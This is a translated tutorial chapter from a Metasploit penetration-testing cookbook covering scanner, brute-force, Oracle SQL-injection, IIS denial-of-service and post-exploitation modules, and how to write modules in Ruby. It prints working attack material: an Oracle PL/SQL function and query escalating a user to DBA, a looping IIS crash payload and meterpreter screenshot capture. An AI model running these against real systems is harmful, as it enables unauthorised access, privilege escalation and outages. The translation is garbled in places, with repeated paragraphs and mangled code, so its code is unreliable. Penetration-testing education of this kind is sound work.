📜 ⬆️ ⬇️

Metasploit Penetration Testing Cookbook - Part 7

Translation of the seventh part of the book Metasploit Penetration Testing Cookbook


metasploit cookbook

Chapter 7. Working with Modules


In this chapter, we study the following:


Introduction


In the first chapter we talked about the basics of Metasploit. We started with the fact that it has a modular architecture. This means that all exploits, payloads, encoders, etc. present in the form of modules. The modular architecture makes it easy to extend the functionality of the framework. Any programmer can develop his own module and easily enable it in the Metasploit framework. The penetration testing process may include several modules during system operation. For example, we start with an operational module, then we begin to use a payload module (payload), then we can use several post-operational modules. Finally, we can use various modules to connect to the database to save our findings and results.

This chapter focuses on the / pentest / exploits / framework3 / modules directory, which contains a complete list of useful modules that will help us in penetration testing.
')

Work with auxiliary scan-modules


Let's start with the scan engines. We already studied scanning in detail when we talked about nmap. In this recipe, we analyze some of the ready-made modules that come with Metasploit. Although nmap is a powerful scanning tool, there are situations in which a special type of scan is needed, such as scanning for the presence of a MySQL database. To find a list of available scanners, we need to go to / pentest / exploits / framework3 / modules / auxiliary / scanner . Let's start with the main HTTP scanner.

Consider dir_scanner . The script will scan the host or the entire network to look for interesting directory listings that can be further studied to collect information.

 msf> use auxiliary / scanner / http / dir_scanner 
 msf auxiliary (dir_scanner)> show options 
 Module options (auxiliary / scanner / http / dir_scanner):
 Name Current Setting Required Description
 ---- --------------- -------- -----------
 DICTIONARY /opt/metasploit/msf3/data/wmap/wmap_dirs.txt no Path of word dictionary to use
 PATH / yes The path to identify files
 RHOSTS yes CIDR identifier
 RPORT 80 yes The target port
 THREADS 1 yes The number of concurrent threads
 VHOST no HTTP server virtual host

The show options command will show the available options that can be enabled in the module.

Let's look at a specific example. The mysql_login module, which scans a target for the presence of a MySQL server and, if it finds one, tries to exit into the database using brute force to attack:

  msf> use auxiliary / scanner / mysql / mysql_login 
 msf> show options 

 Module options (auxiliary / scanner / mysql / mysql_login):

 Name Current Setting Required Description
 ---- --------------- -------- -----------
 BLANK_PASSWORDS true no Try blank passwords for all users
 BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
 PASSWORD no specific password to authenticate with
 PASS_FILE no file containing passwords, one per line
 RHOSTS yes CIDR identifier
 RPORT 3306 yes The target port
 STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
 THREADS 1 yes The number of concurrent threads
 USERNAME no A specific username to authenticate as
 USERPASS_FILE file separated by space, one pair per line
 USER_AS_PASS true for all users
 USER_FILE no file containing usernames, one per line
 For all attempts 

As you can see, the module contains many parameters. You can specify files with usernames and passwords. Let's do this:

  msf auxiliary (mysql_login)> set USER_FILE / users.txt
 USER_FILE => /users.txt
 msf auxiliary (mysql_login)> set PASS_FILE /pass.txt
 PASS_FILE => /pass.txt 

Now we are ready to use brute. It remains to specify the target and run the module:

  msf auxiliary (mysql_login)> set RHOSTS 192.168.56.101
 RHOSTS => 192.168.56.101
 msf auxiliary (mysql_login)> run
 [*] 192.168.56.101:37306 - Found remote MySQL version 5.0.51a
 [*] 192.168.56.101 dis306 Trying username: 'administrator' with password: ''

The output shows that the module started the process by searching the MySQL server for the target. Then he began to substitute the username / password combinations that are in the files.

Work with auxiliary admin modules


We study several admin-modules. Modules can serve various purposes, for example, search for an admin panel or check for default login / password. It all depends on the functionality. Consider mysql_enum :

  msf> use auxiliary / admin / mysql / mysql_enum 
 msf> show options 

 Module options (auxiliary / admin / mysql / mysql_enum):

 Name Current Setting Required Description
 ---- --------------- -------- -----------
 PASSWORD no password for the specified username
 RHOST yes The target address
 RPORT 3306 yes The target port
 USERNAME no The username to authenticate as 

As you can see, the module accepts the login, password and RHOST parameters . It can be used to search for MySQL databases, as well as for brut. Let's analyze the command execution:

  msf auxiliary (mysql_enum)> exploit
 [*] Configuration Parameters:
 [*] C2 Audit Mode is Not Enabled
 [*] xp_cmdshell is Enabled
 [*] remote access is Enabled
 [*] allow updates is not enabled
 [*] Database Mail XPs is not enabled
 [*] Ole Automation Procedures are Not Enabled
 [*] Databases on the server:
 [*] Database name: master 

The module returns a lot of useful information. He tells us that cmdshell and remote access were enabled on target MySQL. It also returns the name of the database that is running as a process on the target machine.

There are several similar modules for other services, such as MSSQL and Apache. The principle of work is the same for everyone. Remember to use the show options command to make sure that you pass the necessary parameters.

SQL injection and DOS modules


SQL injection module exploits known vulnerabilities, enter its use and provide unauthorized access. Vulnerability is known to affect Oracle 9i and 10g. Metasploit contains several modules that exploit known vulnerabilities in Oracle. Modules can be found in modules / auxiliary / sqli / oracle .

Analyze the Oracle DBMS_METADATA XML oracle vulnerability. This vulnerability will escalate privileges from DB_USER to DB_ADMINISTRATOR ( DBA ). We will use the dbms_metadata_get_xml module:

  msf> use auxiliary / sqli / oracle / dbms_metadata_get_xml 
 msf> show options 

 Module options (auxiliary / sqli / oracle / dbms_metadata_get_xml):

 Name Current Setting Required Description
 ---- --------------- -------- -----------
 DBPASS TIGER yes password to authenticate with.
 DBUSER SCOTT yes username to authenticate with.
 RHOST yes The Oracle host.
 RPORT 1521 yes The TNS port.
 SID ORCL yes The sid to authenticate with.
 SQL GRANT DBA to SCOTT no SQL to execute. 

The database first checks the login using the default credentials of “scott” and “tiger”. When a module gets logged on as a database user, it then executes malicious code to escalate privileges to the database administrator.

  msf auxiliary (dbms_metadata_get_xml)> set RHOST 192.168.56.1
 msf auxiliary (dbms_metadata_get_xml)> set SQL YES
 msf auxiliary (dbms_metadata_get_xml)> run 

The next module, which we consider, is associated with a denial of service (DOS) attack. We will analyze a simple IIS 6.0 vulnerability, which allows an attacker to crash the server by sending a POST request containing more than 40000 request parameters. This module was tested on an unpatched Windows 2003 server running IIS 6.0. We will use ms10_065_ii6_asp_dos as a module:

  msf> use auxiliary / dos / windows / http / ms10_065_ii6_asp_dos
 msf auxiliary (ms10_065_ii6_asp_dos)> show options
 Module options (auxiliary / dos / windows / http / ms10_065_ii6_asp_dos):

    Name Current Setting Required Description
    ---- --------------- -------- -----------
    RHOST yes The target address
    RPORT 80 yes The target port
    URI /page.asp yes URI to request
    VHOST no virtual host

 msf auxiliary (ms10_065_ii6_asp_dos)> set RHOST 192.168.56.1 RHOST => 192.168.56.1
 msf auxiliary (ms10_065_ii6_asp_dos)> run
 [*] Attacking http://192.168.56.1:80/page.asp 

After the run command, the module will attack the target IIS server by sending an HTTP request to port 80 with a URI in the form of page.asp . Successful completion of the module will result in a complete denial of service to the IIS server.

The oracle database vulnerability is exploited by injecting a PL / SQL user-defined function that runs in the SYS context, and this elevates the privileges of the user “scott” as an administrator.
Let's look at two vulnerabilities. Oracle database vulnerabilities by Vulnerability is performed by injecting a custom PL / SQL function that runs in the context of SYS and enhances the rights of the user “scott” to the administrator.
Example function:

    CREATE OR REPLACE FUNCTION "SCOTT". "ATTACK_FUNC" return varchar2 authid current_user as pragma autonomous_transaction;
    BEGIN EXECUTE IMMEDIATE 'GRANT DBA TO SCOTT';
    COMMIT;
    RETURN ";
    END; 


The function will lead to escalation of user privileges “scott” .
  SELECT SYS.DBMS_METADATA.GET_DDL ('' '|| SCOTT.ATTACK_FUNC () ||' '', '')
 FROM dual; 

The previous lines of code explain the injection process. Detailed vulnerability analysis in Oracle software is beyond the scope of the book / translation.

Now there is a DOS-attack module that uses a vulnerability in IIS 6.0 server. The attacker sends a POST request, which includes more than 40,000 request parameters, and is sent in the application / x-www-form-urlencoded form, the type of encoding. Here is part of the script that serves the module:

Now consider the module for DOS attacks, which exploits a vulnerability in IIS 6.0. The attacker sends a POST request, which includes more than 40000 request parameters and sends it as application / x-www-form-urlencoded , encoding type.

  while (1)
  begin
  connect
  payload = "C = A &" * 40000
  length = payload.size
  sploit = ​​"HEAD # {datastore ['URI']} HTTP / 1.1 \ r \ n"
  sploit << "Host: # {datastore ['VHOST'] || rhost} \ r \ n"
  sploit << "Connection: Close \ r \ n"
  sploit << "Content-Type: application / x-www-form-urlencoded \ r \ n"
  sploit << "Content-Length: # {length} \ r \ n \ r \ n"
  sploit << payload
  sock.put (sploit)
  #print_status ("DoS packet sent.")
  disconnect
  rescue Errno :: ECONNRESET
  next
  end
  end 

As you can see, the script generates a payload size of more than 40,000. Then, a connection is established on port 80 to send an HTTP request to the IIS server. After the request has been sent to the server, it will crash and stop working.

Post-operational modules


We have a separate, dedicated list of modules that can improve our pentest skills. Since they are post-operational modules, we will need an active session with a view. We can use any of the methods described in previous chapters to access the target.

Post-modules - a collection of the most interesting and convenient features that you can use during penetration testing. Let's quickly analyze some of them. We will use a non-repaired Windows 7 with an active meterpreter session.

Let's start with the simple enum_logged_on_users module. It shows the list of users logged into Windows.

  meterpreter> getsystem
 ... got system (via technique 4).
 meterpreter> run post / windows / gather / enum_logged_on_users
 [*] Running against session 1
 Current Logged Users
 ====================
 SID User
 --- ----
 S-1-5-21-2350281388-457184790-407941598 DARKLORD-PC \ DARKLORD
 Recently Logged Users
 =====================
 SID Profile Path
 --- ------------
 S-1-5-18% systemroot% \ system32 \ config \ systemprofile
 S-1-5-19 C: \ Windows \ ServiceProfiles \ LocalService
 S-1-5-20 C: \ Windows \ ServiceProfiles \ NetworkService
 S-1-5-21-23502 C: \ Users \ DARKLORD
 S-1-5-21-235 C: \ Users \ Winuser 

Successful execution of the module shows us two tables. The first table shows the user who is logged in, and the second table shows the recently logged-in user.

Take another example. There is an interesting post-module that makes a screenshot of the screen on the target machine.

  meterpreter> run post / windows / gather / screen_spy
  [*] Migrating to explorer.exe pid: 1104
  [*] Migration successful
  [*] Capturing 60 screenshots with a delay of 5 seconds 

You can analyze the enum_logged_on_user.rb and screen_spy.rb scripts in modules / post / windows / gather . They will help you get an idea of ​​how these modules work.

Basics of creating modules


To start creating your own module, we need some basic knowledge of Ruby. We have already discussed the use and implementation of Ruby in meterpreter scripting.
Let's start with the basics. In order for the module to be readable for Metasploit, you need to import the MSF library:
require 'msf / core'

This line indicates that the module will include all dependencies and functions of the Metasploit framework.
class Metasploit3 <Msf :: Auxiliary
This line defines a class that inherits the properties of an auxiliary family. The auxiliary module can import several functions, such as scanning, opening a connection, using a database, and so on:

  include Msf :: 

The include statement is used to include specific framework functionality in a module. For example, if we are building a scanner module, then we can include it as:

  include Msf :: Exploit :: Remote :: TCP 

This line will include the functionality of remote TCP scanning.

  def initialize
                super (
                      'Name' => 'TCP Port Scanner',
                      'Version' => '$ Revision $',
                      'Description' => 'Enumerate open TCP services',
                      'Author' => [darklord],
                      'License' => MSF_LICENSE
  ) 

The lines of the script give us information about the module, its name, version, author, description, etc.

  register_options (
                 [
  OptString.new ('PORTS', [true, "Ports to scan (eg 25,80,110-900)", "1-10000"]),
  OptInt.new ('TIMEOUT', [true, "The socket connect timeout in milliseconds", 1000]),
  OptInt.new ('CONCURRENCY', [true, "The number of concurrent ports to check per host", 10]), self.class)
  deregister_options ('RPORT') 

Module analysis


Now we will analyze the ftp-module. We have already discussed the basic template of the module in the previous recipe, so here we will proceed from the main part of the script.
For analysis, we take an anonymous ftp access module. The main script is located at the following address: pentest / exploits / framework3 / modules / auxiliary / scanner / ftp / anonymous.rb
Full script for reference:

  class Metasploit3 <Msf :: Auxiliary

  include Msf :: Exploit :: Remote :: Ftp
  include Msf :: Auxiliary :: Scanner
  include Msf :: Auxiliary :: Report

 def initialize
               super (
                     'Name' => 'Anonymous FTP Access Detection',
                     'Version' => '$ Revision: $ 14774',
                     'Description' => 'Detect anonymous (read / write) FTP server access.',
                     'References' => [['URL', 'http://en.wikipedia.org/wiki/File_Transfer_Protocol#Anonymous_FTP'],],
                     'Author' => 'Matteo Cantoni <goony [at] nothink.org>',
                     'License' => MSF_LICENSE
 )

 register_options ([Opt :: RPORT (21),], self.class)
 end

 def run_host (target_host)
                 begin
                 res = connect_login (true, false)
                 banner.strip!  if banner
                 dir = Rex :: Text.rand_text_alpha (8)

 if res
 write_check = send_cmd (['MKD', dir], true)

 if (write_check and write_check = ~ / ^ 2 /)
 send_cmd (['RMD', dir], true)

 print_status ("# {target_host}: # {rport} Anonymous READ / WRITE (# {banner})")
 access_type = "rw"
 else
 print_status ("# {target_host}: # {rport} Anonymous READ (# {banner})")
 access_type = "ro"
 end
 report_auth_info (
                  : host => target_host,
                  : port => rport,
                  : sname => 'ftp',
                  : user => datastore ['FTPUSER'],
                  : pass => datastore ['FTPPASS'],
                  : type => "password _ # {access_type}",
                  : active => true
 )
 end
 disconnect
 rescue :: interrupt
 raise $!
 rescue :: Rex :: ConnectionError, :: IOError
 end
 end
 end 

Let's analyze how the script works:

  def run_host (target_host)
                 begin
                 res = connect_login (true, false)
                 banner.strip!  if banner
                 dir = Rex :: Text.rand_text_alpha (8) 

This feature is used to start the connection. The variable res contains the boolean value true or false . The connect_login function establishes a connection with a remote host.

  if res
       write_check = send_cmd (['MKD', dir], true)
       if (write_check and write_check = ~ / ^ 2 /)
       send_cmd (['RMD', dir], true)
       print_status ("# {target_host}: # {rport} Anonymous READ / WRITE (# {banner})")
       access_type = "rw"
       else
       print_status ("# {target_host}: # {rport} Anonymous access_type =" ro " 

Once the connection is established, the module tries to check whether the anonymous user has read / write permissions or not. write_check checks whether a write operation is possible or not. It then checks to see if the operation is successful or not. Depending on the privilege status, a message is printed on the screen. If the write operation fails, the status is printed as ro or read-only:

  report_auth_info (
                  : host => target_host,
                  : port => rport,
                  : sname => 'ftp',
                  : user => datastore ['FTPUSER'],
                  : pass => datastore ['FTPPASS'],
                  : type => "password _ # {access_type}",
                  : active => true
  )
  end 


This was a small demonstration of how the module operates in the framework. You can modify existing scripts to meet your needs.
In the following example, we will see how to create your own module and load it into the framework.

Creating a post-operational module


Let's create a small post-operational module that will list all installed applications on the target machine.

To begin by creating a module, we first import the library framework and include the required dependencies:

First we import the library framework and include the required dependencies:

  require 'msf / core'
  require 'rex'
  require 'msf / core / post / windows / registry'

  class Metasploit3 <Msf :: Post 
  include Msf :: Post :: Windows :: Registry 
  def initialize (info = {}) 
     super (update_info (info, 
           'Name' => 'Windows Gather Installed Application Enumeration',
           'Description' =>% q {This module will enumerate all installed applications},
           'License' => MSF_LICENSE,
           'Platform' => ['windows'],
           'SessionTypes' => ['meterpreter']
  ))
  end 

The script begins with the Metasploit core libraries. Then we create a class that extends the properties of the Msf :: Post modules.

Next, we create an initialization function that is used to initialize and define the module property and description. This basic structure remains the same in almost all modules.

Next, we create an initialization function that is used to initialize and define a module property. This basic structure remains the same in almost all modules.

It should be noted here that we have included " rex ", as well as the "registry" libraries.

Now our next step is to create a table that can display our extracted result. We have a special library, Rex :: Ui :: Text , that can be used to perform this task.

  def app_list
   tbl = Rex :: Ui :: Text :: Table.new (
   'Header' => "Installed Applications",
   'Indent' => 1,
   'Columns' => ["Name", "Version"])

    appkeys = [
              'HKLM \\ SOFTWARE \\ Microsoft \\ Windows \\ CurrentVersion \\ Uninstall',
              'HKCU \\ SOFTWARE \\ Microsoft \\ Windows \\ CurrentVersion \\ Uninstall',
              'HKLM \\ SOFTWARE \\ WOW6432NODE \\ Microsoft \\ Windows \\ CurrentVersion \\ Uninstall',
              'HKCU \\ SOFTWARE \\ WOW6432NODE \\ Microsoft \\ Windows \\ CurrentVersion \\ Uninstall',
  ]

  apps = []
  appkeys.each do | keyx86 |
  found_keys = registry_enumkeys (keyx86)
  if found_keys
  found_keys.each do | ak |
  apps << keyx86 + "\\" + ak
  end
  end
  end 

The script body begins with the construction of a table and various column names. Then a separate array is created in the registry that will be used to list the list of applications. The array will consist of various registry lines that contain information about installed applications on the target computer. Application data is stored in a separate array, named as apps .

So, we start processing the enumeration by running a loop that looks in different places of the registry are stored in the appskey array. Then the enumeration process begins by running a loop that looks in different locations in the registry and is stored in the appskey array:

  t = []
      while (not apps.empty?)
     1.upto (16) do t << framework.threads.spawn ("Module (# {self.refname})", false, apps.shift) do | k |
     begin
     dispnm = registry_getvaldata ("# {k}", "DisplayName")
     dispversion = registry_getvaldata ("# {k}", "DisplayVersion")
     tbl << [dispnm, dispversion] if dispnm and dispversion rescue 
     end 
     end 

The following lines of the script populate tables with different values ​​in the respective columns. The script uses the built-in function registry_getvaldata , which retrieves the values ​​and adds them to the table:

  results = tbl.to_s
    print_line ("\ n" + results + "\ n")
    p = store_loot ("host.applications", "text / plain", session, results, "applications.txt", "Installed Applications")
    print_status ("Results stored in: # {p}")
    end
    def run
    print_status ("Enumerating applications installed on # {sysinfo ['Computer']}")
    app_list
    end
    end 

The last few lines of the script are used to store information, in a separate text file called applications.txt. The file is filled using the store_loot function, which saves the entire table to a text file.

The last few lines of the script are used to store information in a separate text file called applications.txt . The file is filled using the store_loot function, which stores the entire table in a text file.

Finally, the result is displayed on the screen indicating that the file was created. This was a small example of how you can create and add your own module in the framework. You definitely need knowledge of Ruby scripts.

By the way, for everyone who wants to master the professional tool of pentesters - Metasploit Framework - I recommend the course webinar from Konstantin Levin: Penetration testing using Metasploit Framework

Source: https://habr.com/ru/post/205512/


All Articles